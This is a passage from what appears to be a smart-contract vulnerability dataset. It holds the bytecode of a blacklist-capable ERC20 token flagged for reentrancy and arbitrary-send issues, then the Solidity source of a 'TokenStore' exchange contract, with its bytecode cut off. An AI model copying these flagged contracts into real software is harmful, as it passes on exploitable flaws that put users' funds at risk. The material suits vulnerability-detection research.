} | 0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c3c8cd8011610064578063c3c8cd8014610567578063c492f0461461057c578063dd62ed3e1461059c578063f2fde38b146105e257600080fd5b8063a2a957bb146104d7578063a9059cbb146104f7578063ae0f3f4514610517578063bfd792841461053757600080fd5b80638f70ccf7116100d15780638f70ccf7146104565780638f9a55c01461047657806395d89b411461048c57806398a5c315146104b757600080fd5b80637d1db4a5146103f55780637f2feddc1461040b5780638da5cb5b1461043857600080fd5b80632fd689e31161016f5780636d8aa8f81161013e5780636d8aa8f81461038b5780636fc3eaec146103ab57806370a08231146103c0578063715018a6146103e057600080fd5b80632fd689e314610319578063313ce5671461032f57806349bd5a5e1461034b5780636b9990531461036b57600080fd5b8063095ea7b3116101ab578063095ea7b31461026c5780631694505e1461029c57806318160ddd146102d457806323b872dd146102f957600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063093bb7201461024c57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f73660046119a3565b610602565b005b34801561020a57600080fd5b5060408051808201909152601381527229b2b73234b733903a37903a34329026b7b7b760691b60208201525b6040516102439190611a68565b60405180910390f35b34801561025857600080fd5b506101fc610267366004611acd565b6106a1565b34801561027857600080fd5b5061028c610287366004611ae8565b6106e9565b6040519015158152602001610243565b3480156102a857600080fd5b506013546102bc906001600160a01b031681565b6040516001600160a01b039091168152602001610243565b3480156102e057600080fd5b50670de0b6b3a76400005b604051908152602001610243565b34801561030557600080fd5b5061028c610314366004611b14565b610700565b34801561032557600080fd5b506102eb60175481565b34801561033b57600080fd5b5060405160098152602001610243565b34801561035757600080fd5b506014546102bc906001600160a01b031681565b34801561037757600080fd5b506101fc610386366004611b55565b610769565b34801561039757600080fd5b506101fc6103a6366004611acd565b6107b4565b3480156103b757600080fd5b506101fc6107fc565b3480156103cc57600080fd5b506102eb6103db366004611b55565b610829565b3480156103ec57600080fd5b506101fc61084b565b34801561040157600080fd5b506102eb60155481565b34801561041757600080fd5b506102eb610426366004611b55565b60116020526000908152604090205481565b34801561044457600080fd5b506000546001600160a01b03166102bc565b34801561046257600080fd5b506101fc610471366004611acd565b6108bf565b34801561048257600080fd5b506102eb60165481565b34801561049857600080fd5b50604080518082019091526002815261534d60f01b6020820152610236565b3480156104c357600080fd5b506101fc6104d2366004611b72565b61091e565b3480156104e357600080fd5b506101fc6104f2366004611b8b565b61094d565b34801561050357600080fd5b5061028c610512366004611ae8565b6109a5565b34801561052357600080fd5b506101fc610532366004611bbd565b6109b2565b34801561054357600080fd5b5061028c610552366004611b55565b60106020526000908152604090205460ff1681565b34801561057357600080fd5b506101fc6109fa565b34801561058857600080fd5b506101fc610597366004611bdf565b610a30565b3480156105a857600080fd5b506102eb6105b7366004611c63565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ee57600080fd5b506101fc6105fd366004611b55565b610ad1565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611c9c565b60405180910390fd5b60005b815181101561069d5760016010600084848151811061065957610659611cd1565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069581611cfd565b915050610638565b5050565b6000546001600160a01b031633146106cb5760405162461bcd60e51b815260040161062c90611c9c565b60148054911515600160b81b0260ff60b81b19909216919091179055565b60006106f6338484610bbb565b5060015b92915050565b600061070d848484610cdf565b61075f843361075a85604051806060016040528060288152602001611e15602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061123d565b610bbb565b5060019392505050565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062c90611c9c565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107de5760405162461bcd60e51b815260040161062c90611c9c565b60148054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b03161461081c57600080fd5b4761082681611277565b50565b6001600160a01b0381166000908152600260205260408120546106fa906112b1565b6000546001600160a01b031633146108755760405162461bcd60e51b815260040161062c90611c9c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108e95760405162461bcd60e51b815260040161062c90611c9c565b601454600160a01b900460ff161561090057600080fd5b60148054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161062c90611c9c565b601755565b6000546001600160a01b031633146109775760405162461bcd60e51b815260040161062c90611c9c565b600582111580610988575060058111155b61099157600080fd5b600893909355600a91909155600955600b55565b60006106f6338484610cdf565b6000546001600160a01b031633146109dc5760405162461bcd60e51b815260040161062c90611c9c565b6611c37937e0800082116109ef57600080fd5b601591909155601655565b6012546001600160a01b0316336001600160a01b031614610a1a57600080fd5b6000610a2530610829565b905061082681611335565b6000546001600160a01b03163314610a5a5760405162461bcd60e51b815260040161062c90611c9c565b60005b82811015610acb578160056000868685818110610a7c57610a7c611cd1565b9050602002016020810190610a919190611b55565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610ac381611cfd565b915050610a5d565b50505050565b6000546001600160a01b03163314610afb5760405162461bcd60e51b815260040161062c90611c9c565b6001600160a01b038116610b605760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610c1d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610c7e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d435760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610da55760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610e075760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b03848116911614801590610e3357506000546001600160a01b03838116911614155b1561113657601454600160a01b900460ff16610ecc576000546001600160a01b03848116911614610ecc5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062c565b601454600160b81b900460ff16610f2f57601554811115610f2f5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b03831660009081526010602052604090205460ff16158015610f7157506001600160a01b03821660009081526010602052604090205460ff16155b610fc95760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b6014546001600160a01b0383811691161461105f57601454600160b81b900460ff1661105f5760165481610ffc84610829565b6110069190611d16565b1061105f5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062c565b600061106a30610829565b6017546015549192508210159082106110835760155491505b80801561109a5750601454600160a81b900460ff16155b80156110b457506014546001600160a01b03868116911614155b80156110c95750601454600160b01b900460ff165b80156110ee57506001600160a01b03851660009081526005602052604090205460ff16155b801561111357506001600160a01b03841660009081526005602052604090205460ff16155b156111335761112182611335565b4780156111315761113147611277565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061117857506001600160a01b03831660009081526005602052604090205460ff165b806111aa57506014546001600160a01b038581169116148015906111aa57506014546001600160a01b03848116911614155b156111b757506000611231565b6014546001600160a01b0385811691161480156111e257506013546001600160a01b03848116911614155b156111f457600854600c55600954600d555b6014546001600160a01b03848116911614801561121f57506013546001600160a01b03858116911614155b1561123157600a54600c55600b54600d555b610acb848484846114af565b600081848411156112615760405162461bcd60e51b815260040161062c9190611a68565b50600061126e8486611d2e565b95945050505050565b6012546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069d573d6000803e3d6000fd5b60006006548211156113185760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b60006113226114dd565b905061132e8382611500565b9392505050565b6014805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061137d5761137d611cd1565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156113d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113fa9190611d45565b8160018151811061140d5761140d611cd1565b6001600160a01b0392831660209182029290920101526013546114339130911684610bbb565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac9479061146c908590600090869030904290600401611d62565b600060405180830381600087803b15801561148657600080fd5b505af115801561149a573d6000803e3d6000fd5b50506014805460ff60a81b1916905550505050565b806114bc576114bc611542565b6114c7848484611570565b80610acb57610acb600e54600c55600f54600d55565b60008060006114ea611667565b90925090506114f98282611500565b9250505090565b600061132e83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506116a7565b600c541580156115525750600d54155b1561155957565b600c8054600e55600d8054600f5560009182905555565b600080600080600080611582876116d5565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506115b49087611732565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115e39086611774565b6001600160a01b038916600090815260026020526040902055611605816117d3565b61160f848361181d565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161165491815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a76400006116828282611500565b82101561169e57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116c85760405162461bcd60e51b815260040161062c9190611a68565b50600061126e8486611dd3565b60008060008060008060008060006116f28a600c54600d54611841565b92509250925060006117026114dd565b905060008060006117158e878787611896565b919e509c509a509598509396509194505050505091939550919395565b600061132e83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061123d565b6000806117818385611d16565b90508381101561132e5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b60006117dd6114dd565b905060006117eb83836118e6565b306000908152600260205260409020549091506118089082611774565b30600090815260026020526040902055505050565b60065461182a9083611732565b60065560075461183a9082611774565b6007555050565b600080808061185b606461185589896118e6565b90611500565b9050600061186e60646118558a896118e6565b90506000611886826118808b86611732565b90611732565b9992985090965090945050505050565b60008080806118a588866118e6565b905060006118b388876118e6565b905060006118c188886118e6565b905060006118d3826118808686611732565b939b939a50919850919650505050505050565b6000826000036118f8575060006106fa565b60006119048385611df5565b9050826119118583611dd3565b1461132e5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461082657600080fd5b803561199e8161197e565b919050565b600060208083850312156119b657600080fd5b823567ffffffffffffffff808211156119ce57600080fd5b818501915085601f8301126119e257600080fd5b8135818111156119f4576119f4611968565b8060051b604051601f19603f83011681018181108582111715611a1957611a19611968565b604052918252848201925083810185019188831115611a3757600080fd5b938501935b82851015611a5c57611a4d85611993565b84529385019392850192611a3c565b98975050505050505050565b600060208083528351808285015260005b81811015611a9557858101830151858201604001528201611a79565b81811115611aa7576000604083870101525b50601f01601f1916929092016040019392505050565b8035801515811461199e57600080fd5b600060208284031215611adf57600080fd5b61132e82611abd565b60008060408385031215611afb57600080fd5b8235611b068161197e565b946020939093013593505050565b600080600060608486031215611b2957600080fd5b8335611b348161197e565b92506020840135611b448161197e565b929592945050506040919091013590565b600060208284031215611b6757600080fd5b813561132e8161197e565b600060208284031215611b8457600080fd5b5035919050565b60008060008060808587031215611ba157600080fd5b5050823594602084013594506040840135936060013592509050565b60008060408385031215611bd057600080fd5b50508035926020909101359150565b600080600060408486031215611bf457600080fd5b833567ffffffffffffffff80821115611c0c57600080fd5b818601915086601f830112611c2057600080fd5b813581811115611c2f57600080fd5b8760208260051b8501011115611c4457600080fd5b602092830195509350611c5a9186019050611abd565b90509250925092565b60008060408385031215611c7657600080fd5b8235611c818161197e565b91506020830135611c918161197e565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611d0f57611d0f611ce7565b5060010190565b60008219821115611d2957611d29611ce7565b500190565b600082821015611d4057611d40611ce7565b500390565b600060208284031215611d5757600080fd5b815161132e8161197e565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611db25784516001600160a01b031683529383019391830191600101611d8d565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611df057634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611e0f57611e0f611ce7565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f37e95d3c704cf8709eb332cf9cd84af4a9ff88d2dfa3fbba1f0ee7e4ed13f3864736f6c634300080d0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,185 |
0x1cE7AE555139c5EF5A57CC8d814a867ee6Ee33D8 | pragma solidity ^0.4.11;
// ERC20 token protocol, see more details at
// https://theethereum.wiki/w/index.php/ERC20_Token_Standard
// And also https://github.com/ethereum/eips/issues/20
contract Token {
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
// Safe mathematics to make the code more readable
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
}
// Ownable interface to simplify owner checks
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) onlyOwner {
require(_newOwner != address(0));
owner = _newOwner;
}
}
// Interface for trading discounts and rebates for specific accounts
contract AccountModifiersInterface {
function accountModifiers(address _user) constant returns(uint takeFeeDiscount, uint rebatePercentage);
function tradeModifiers(address _maker, address _taker) constant returns(uint takeFeeDiscount, uint rebatePercentage);
}
// Interface for trade tacker
contract TradeTrackerInterface {
function tradeComplete(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, address _get, address _give, uint _takerFee, uint _makerRebate);
}
// Exchange contract
contract TokenStore is SafeMath, Ownable {
// The account that will receive fees
address feeAccount;
// The account that stores fee discounts/rebates
address accountModifiers;
// Trade tracker account
address tradeTracker;
// We charge only the takers and this is the fee, percentage times 1 ether
uint public fee;
// Mapping of token addresses to mapping of account balances (token 0 means Ether)
mapping (address => mapping (address => uint)) public tokens;
// Mapping of user accounts to mapping of order hashes to uints (amount of order that has been filled)
mapping (address => mapping (bytes32 => uint)) public orderFills;
// Address of a next and previous versions of the contract, also status of the contract
// can be used for user-triggered fund migrations
address public successor;
address public predecessor;
bool public deprecated;
uint16 public version;
// Logging events
// Note: Order creation is handled off-chain, see explanation further below
event Cancel(address tokenGet, uint amountGet, address tokenGive, uint amountGive, uint expires, uint nonce, address user, uint8 v, bytes32 r, bytes32 s);
event Trade(address tokenGet, uint amountGet, address tokenGive, uint amountGive, address get, address give, uint nonce);
event Deposit(address token, address user, uint amount, uint balance);
event Withdraw(address token, address user, uint amount, uint balance);
event FundsMigrated(address user);
function TokenStore(uint _fee, address _predecessor) {
feeAccount = owner;
fee = _fee;
predecessor = _predecessor;
deprecated = false;
if (predecessor != address(0)) {
version = TokenStore(predecessor).version() + 1;
} else {
version = 1;
}
}
// Throw on default handler to prevent direct transactions of Ether
function() {
revert();
}
modifier deprecable() {
require(!deprecated);
_;
}
function deprecate(bool _deprecated, address _successor) onlyOwner {
deprecated = _deprecated;
successor = _successor;
}
function changeFeeAccount(address _feeAccount) onlyOwner {
require(_feeAccount != address(0));
feeAccount = _feeAccount;
}
function changeAccountModifiers(address _accountModifiers) onlyOwner {
accountModifiers = _accountModifiers;
}
function changeTradeTracker(address _tradeTracker) onlyOwner {
tradeTracker = _tradeTracker;
}
// Fee can only be decreased!
function changeFee(uint _fee) onlyOwner {
require(_fee <= fee);
fee = _fee;
}
// Allows a user to get her current discount/rebate
function getAccountModifiers() constant returns(uint takeFeeDiscount, uint rebatePercentage) {
if (accountModifiers != address(0)) {
return AccountModifiersInterface(accountModifiers).accountModifiers(msg.sender);
} else {
return (0, 0);
}
}
////////////////////////////////////////////////////////////////////////////////
// Deposits, withdrawals, balances
////////////////////////////////////////////////////////////////////////////////
function deposit() payable deprecable {
tokens[0][msg.sender] = safeAdd(tokens[0][msg.sender], msg.value);
Deposit(0, msg.sender, msg.value, tokens[0][msg.sender]);
}
function withdraw(uint _amount) {
require(tokens[0][msg.sender] >= _amount);
tokens[0][msg.sender] = safeSub(tokens[0][msg.sender], _amount);
if (!msg.sender.call.value(_amount)()) {
revert();
}
Withdraw(0, msg.sender, _amount, tokens[0][msg.sender]);
}
function depositToken(address _token, uint _amount) deprecable {
// Note that Token(_token).approve(this, _amount) needs to be called
// first or this contract will not be able to do the transfer.
require(_token != 0);
if (!Token(_token).transferFrom(msg.sender, this, _amount)) {
revert();
}
tokens[_token][msg.sender] = safeAdd(tokens[_token][msg.sender], _amount);
Deposit(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function withdrawToken(address _token, uint _amount) {
require(_token != 0);
require(tokens[_token][msg.sender] >= _amount);
tokens[_token][msg.sender] = safeSub(tokens[_token][msg.sender], _amount);
if (!Token(_token).transfer(msg.sender, _amount)) {
revert();
}
Withdraw(_token, msg.sender, _amount, tokens[_token][msg.sender]);
}
function balanceOf(address _token, address _user) constant returns (uint) {
return tokens[_token][_user];
}
////////////////////////////////////////////////////////////////////////////////
// Trading
////////////////////////////////////////////////////////////////////////////////
// Note: Order creation happens off-chain but the orders are signed by creators,
// we validate the contents and the creator address in the logic below
function trade(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive,
uint _expires, uint _nonce, address _user, uint8 _v, bytes32 _r, bytes32 _s, uint _amount) {
bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
// Check order signatures and expiration, also check if not fulfilled yet
if (ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash), _v, _r, _s) != _user ||
block.number > _expires ||
safeAdd(orderFills[_user][hash], _amount) > _amountGet) {
revert();
}
tradeBalances(_tokenGet, _amountGet, _tokenGive, _amountGive, _user, msg.sender, _amount);
orderFills[_user][hash] = safeAdd(orderFills[_user][hash], _amount);
Trade(_tokenGet, _amount, _tokenGive, _amountGive * _amount / _amountGet, _user, msg.sender, _nonce);
}
function tradeBalances(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive,
address _user, address _caller, uint _amount) private {
uint feeTakeValue = safeMul(_amount, fee) / (1 ether);
uint rebateValue = 0;
uint tokenGiveValue = safeMul(_amountGive, _amount) / _amountGet; // Proportionate to request ratio
// Apply modifiers
if (accountModifiers != address(0)) {
var (feeTakeDiscount, rebatePercentage) = AccountModifiersInterface(accountModifiers).tradeModifiers(_user, _caller);
// Check that the discounts/rebates are never higher then 100%
if (feeTakeDiscount > 100) {
feeTakeDiscount = 0;
}
if (rebatePercentage > 100) {
rebatePercentage = 0;
}
feeTakeValue = safeMul(feeTakeValue, 100 - feeTakeDiscount) / 100; // discounted fee
rebateValue = safeMul(rebatePercentage, feeTakeValue) / 100; // % of actual taker fee
}
tokens[_tokenGet][_user] = safeAdd(tokens[_tokenGet][_user], safeAdd(_amount, rebateValue));
tokens[_tokenGet][_caller] = safeSub(tokens[_tokenGet][_caller], safeAdd(_amount, feeTakeValue));
tokens[_tokenGive][_user] = safeSub(tokens[_tokenGive][_user], tokenGiveValue);
tokens[_tokenGive][_caller] = safeAdd(tokens[_tokenGive][_caller], tokenGiveValue);
tokens[_tokenGet][feeAccount] = safeAdd(tokens[_tokenGet][feeAccount], safeSub(feeTakeValue, rebateValue));
if (tradeTracker != address(0)) {
TradeTrackerInterface(tradeTracker).tradeComplete(_tokenGet, _amount, _tokenGive, tokenGiveValue, _user, _caller, feeTakeValue, rebateValue);
}
}
function testTrade(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires,
uint _nonce, address _user, uint8 _v, bytes32 _r, bytes32 _s, uint _amount, address _sender) constant returns(bool) {
if (tokens[_tokenGet][_sender] < _amount ||
availableVolume(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, _user, _v, _r, _s) < _amount) {
return false;
}
return true;
}
function availableVolume(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires,
uint _nonce, address _user, uint8 _v, bytes32 _r, bytes32 _s) constant returns(uint) {
bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
if (ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash), _v, _r, _s) != _user ||
block.number > _expires) {
return 0;
}
uint available1 = safeSub(_amountGet, orderFills[_user][hash]);
uint available2 = safeMul(tokens[_tokenGive][_user], _amountGet) / _amountGive;
if (available1 < available2) return available1;
return available2;
}
function amountFilled(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires,
uint _nonce, address _user) constant returns(uint) {
bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
return orderFills[_user][hash];
}
function cancelOrder(address _tokenGet, uint _amountGet, address _tokenGive, uint _amountGive, uint _expires,
uint _nonce, uint8 _v, bytes32 _r, bytes32 _s) {
bytes32 hash = sha256(this, _tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce);
if (!(ecrecover(sha3("\x19Ethereum Signed Message:\n32", hash), _v, _r, _s) == msg.sender)) {
revert();
}
orderFills[msg.sender][hash] = _amountGet;
Cancel(_tokenGet, _amountGet, _tokenGive, _amountGive, _expires, _nonce, msg.sender, _v, _r, _s);
}
////////////////////////////////////////////////////////////////////////////////
// Migrations
////////////////////////////////////////////////////////////////////////////////
// User-triggered (!) fund migrations in case contract got updated
// Similar to withdraw but we use a successor account instead
// As we don't store user tokens list on chain, it has to be passed from the outside
function migrateFunds(address[] _tokens) {
// Get the latest successor in the chain
require(successor != address(0));
TokenStore newExchange = TokenStore(successor);
for (uint16 n = 0; n < 20; n++) { // We will look past 20 contracts in the future
address nextSuccessor = newExchange.successor();
if (nextSuccessor == address(this)) { // Circular succession
revert();
}
if (nextSuccessor == address(0)) { // We reached the newest, stop
break;
}
newExchange = TokenStore(nextSuccessor);
}
// Ether
uint etherAmount = tokens[0][msg.sender];
if (etherAmount > 0) {
tokens[0][msg.sender] = 0;
newExchange.depositForUser.value(etherAmount)(msg.sender);
}
// Tokens
for (n = 0; n < _tokens.length; n++) {
address token = _tokens[n];
require(token != address(0)); // 0 = Ether, we handle it above
uint tokenAmount = tokens[token][msg.sender];
if (tokenAmount == 0) {
continue;
}
if (!Token(token).approve(newExchange, tokenAmount)) {
revert();
}
tokens[token][msg.sender] = 0;
newExchange.depositTokenForUser(token, tokenAmount, msg.sender);
}
FundsMigrated(msg.sender);
}
// This is used for migrations only. To be called by previous exchange only,
// user-triggered, on behalf of the user called the migrateFunds method.
// Note that it does exactly the same as depositToken, but as this is called
// by a previous generation of exchange itself, we credit internally not the
// previous exchange, but the user it was called for.
function depositForUser(address _user) payable deprecable {
require(_user != address(0));
require(msg.value > 0);
TokenStore caller = TokenStore(msg.sender);
require(caller.version() > 0); // Make sure it's an exchange account
tokens[0][_user] = safeAdd(tokens[0][_user], msg.value);
}
function depositTokenForUser(address _token, uint _amount, address _user) deprecable {
require(_token != address(0));
require(_user != address(0));
require(_amount > 0);
TokenStore caller = TokenStore(msg.sender);
require(caller.version() > 0); // Make sure it's an exchange account
if (!Token(_token).transferFrom(msg.sender, this, _amount)) {
revert();
}
tokens[_token][_user] = safeAdd(tokens[_token][_user], _amount);
}
} | 0x6060604052361561014e5763ffffffff60e060020a6000350416630a19b14a81146101665780630e136b19146101b557806319774d43146101dc578063278b8c0e146102105780632d804ca2146102515780632e1a7d4d1461029e578063338b5dea146102b657806338ec18c3146102da5780633c2e2a75146102fb57806348d64fd514610326578063508493bc1461034757806354fd4d501461037e57806359015ed5146103a85780636a1db1bf146103d35780636a523c5e146103eb5780636c86888b146104015780636ff968c31461046d57806371ffcb161461049c5780638da5cb5b146104bd5780639e281a98146104ec578063b719d03214610510578063be3dd1311461053f578063d0e30db014610590578063ddca3f431461059a578063e6213127146105bf578063f2fde38b146105e5578063f7888aec14610606578063fb6e155f1461063d575b341561015957600080fd5b6101645b600080fd5b565b005b341561017157600080fd5b610164600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e43516610104356101243561014435610698565b005b34156101c057600080fd5b6101c8610921565b604051901515815260200160405180910390f35b34156101e757600080fd5b6101fe600160a060020a0360043516602435610931565b60405190815260200160405180910390f35b341561021b57600080fd5b610164600160a060020a03600435811690602435906044351660643560843560a43560ff60c4351660e4356101043561094e565b005b341561025c57600080fd5b6101fe600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43516610b74565b60405190815260200160405180910390f35b34156102a957600080fd5b610164600435610c39565b005b34156102c157600080fd5b610164600160a060020a0360043516602435610d6f565b005b34156102e557600080fd5b610164600160a060020a0360043516610ee8565b005b341561030657600080fd5b610164600160a060020a036004358116906024359060443516610f30565b005b341561033157600080fd5b610164600160a060020a03600435166110e3565b005b341561035257600080fd5b6101fe600160a060020a036004358116906024351661112b565b60405190815260200160405180910390f35b341561038957600080fd5b610391611148565b60405161ffff909116815260200160405180910390f35b34156103b357600080fd5b6103bb61116b565b60405191825260208201526040908101905180910390f35b34156103de57600080fd5b61016460043561120f565b005b610164600160a060020a0360043516611243565b005b341561040c57600080fd5b6101c8600160a060020a0360043581169060243590604435811690606435906084359060a4359060c43581169060ff60e4351690610104359061012435906101443590610164351661134f565b604051901515815260200160405180910390f35b341561047857600080fd5b6104806113b6565b604051600160a060020a03909116815260200160405180910390f35b34156104a757600080fd5b610164600160a060020a03600435166113c5565b005b34156104c857600080fd5b610480611422565b604051600160a060020a03909116815260200160405180910390f35b34156104f757600080fd5b610164600160a060020a0360043516602435611431565b005b341561051b57600080fd5b6104806115d9565b604051600160a060020a03909116815260200160405180910390f35b341561054a57600080fd5b61016460046024813581810190830135806020818102016040519081016040528093929190818152602001838360200280828437509496506115e895505050505050565b005b610164611970565b005b34156105a557600080fd5b6101fe611a3e565b60405190815260200160405180910390f35b34156105ca57600080fd5b6101646004351515600160a060020a0360243516611a44565b005b34156105f057600080fd5b610164600160a060020a0360043516611ab5565b005b341561061157600080fd5b6101fe600160a060020a0360043581169060243516611b12565b60405190815260200160405180910390f35b341561064857600080fd5b6101fe600160a060020a0360043581169060243590604435811690606435906084359060a4359060c4351660ff60e435166101043561012435611b3f565b60405190815260200160405180910390f35b60006002308d8d8d8d8d8d6000604051602001526040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201526028810195909552929095169093026048830152605c820192909252607c810192909252609c82015260bc0160206040518083038160008661646e5a03f1151561071f57600080fd5b50506040518051915050600160a060020a0386166001826040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405180910390208787876040518060005260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f115156107d157600080fd5b505060206040510351600160a060020a03161415806107ef57508743115b806108275750600160a060020a03861660009081526006602090815260408083208484529091529020548b906108259084611d3d565b115b1561083157600080fd5b6108408c8c8c8c8a3388611d65565b600160a060020a038616600090815260066020908152604080832084845290915290205461086e9083611d3d565b600160a060020a03871660009081526006602090815260408083208584529091529020557f3314c351c2a2a45771640a1442b843167a4da29bd543612311c031bbfb4ffa988c838c8e8d83028115156108c357fe5b048a338d604051600160a060020a03978816815260208101969096529386166040808701919091526060860193909352908516608085015290931660a083015260c082015260e001905180910390a15b505050505050505050505050565b60085460a060020a900460ff1681565b600660209081526000928352604080842090915290825290205481565b60006002308b8b8b8b8b8b6000604051602001526040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201526028810195909552929095169093026048830152605c820192909252607c810192909252609c82015260bc0160206040518083038160008661646e5a03f115156109d557600080fd5b50506040518051915050600160a060020a0333166001826040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405180910390208686866040518060005260200160405260006040516020015260405193845260ff909216602080850191909152604080850192909252606084019290925260809092019151602081039080